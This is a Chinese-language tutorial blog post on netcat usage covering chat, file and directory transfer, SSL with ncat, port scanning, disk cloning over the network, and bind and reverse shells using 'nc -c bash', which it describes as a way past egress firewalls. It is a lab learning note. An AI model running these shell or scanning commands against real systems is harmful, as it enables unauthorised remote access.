为了账号安全,请及时绑定邮箱和手机立即绑定

linux学习之nc工具操作

标签:
Linux
常用参数说明
-h help
-l linsten 常用于服务端,提供入站连接
-n 不作dns解析,即ip,可以节省时间
-p port
-u udp
-z 常用于端口扫描
-v 详细内容
功能

文本功能

root@server:~# nc -l -p 6666
root@desktop:~# nc -nv 192.168.1.103 6666
增强功能,常用于取证
root@desktop:~# nc -l -p 6666 > 6.txt
root@server:~# ps -aux | nc -nv 192.168.1.102 6666 -q 1
* -q表示标准EOF 1 表示1s断开

传输文件

客户端向服务器传:
root@server:~# nc -lp 6666 > nc.jpg
root@desktop:~# nc -nv 192.168.1.103 6666 < 1.jpg -q 1
服务器向客户端
nc -lp 6666 -q 1 < nc.jpg
nc -nv 192.168.1.103 6666 > 2.jpg

传输目录

root@server:~# mkdir -p d/e/m/o
ps -aux > d/e/m/o/mb.txt
root@server:~# tar -cvf - d/ | nc -lp 6666 -q 1
d/
d/e/
d/e/m/
d/e/m/o/
d/e/m/o/mb.txt
root@desktop:~# nc -nv 192.168.1.103 6666 | tar -xvf -
(UNKNOWN) [192.168.1.103] 6666 (?) open
d/
d/e/
d/e/m/
d/e/m/o/
d/e/m/o/mb.txt
可以自行检查一下

加密传输

密码有点繁琐,而且不是很好的支持,可以使用ncat,默认在nmap包中,支持ssl

root@server:~# ncat --allow 192.168.1.102 -vnl 6666 --ssl > 7.txt
root@desktop:~# ls -a | ncat -nv 192.168.1.103 6666 --ssl

流媒体服务


这个跳过吧,debian没装桌面,大概格式如下

root@server:~# cat 1.mp4 | nc -lp 6666
nc -nv 192.168.1.103 6666 | mplayer -vo x11 -cache 3000 -

端口扫描

:::python
root@desktop:~# nc -nvz 192.168.1.103 1-100 基于TCP
root@desktop:~# nc -vnzu 192.168.1.103 1-100 基于UDP

远程克隆硬盘

[A]nc -lp  port | dd of=/dev/sda
[B]dd if=/dev/sda | nc -nv ip port -q 1
* B为被取证服务器

远程控制

正向控制
root@server:~# nc -lp 6666 -c bash
root@desktop:~# nc -nv 192.168.1.103 6666
反向
root@desktop:~# nc -lp 6666
root@server:~# nc -nv 192.168.1.102 6666 -c bash
* 都是实现客户端控制服务器
* 解决部分服务器防火墙设置,禁止出口流量
无关联的杂记

修改hostname

查看hostname[一眼就可以看出来] 
Debian 修改`/etc/[hosts|hostsname]`这两个文件  
reboot
点击查看更多内容
2人点赞

若觉得本文不错,就分享一下吧!

评论

作者其他优质文章

正在加载中
Linux系统工程师
手记
粉丝
5
获赞与收藏
47

关注作者,订阅最新文章

阅读免费教程

感谢您的支持,我会继续努力的~
扫码打赏,你说多少就多少
赞赏金额会直接到老师账户
支付方式
打开微信扫一扫,即可进行扫码打赏哦
今天注册有机会得

100积分直接送

付费专栏免费学

大额优惠券免费领

立即参与 放弃机会
意见反馈 帮助中心 APP下载
官方微信

举报

0/150
提交
取消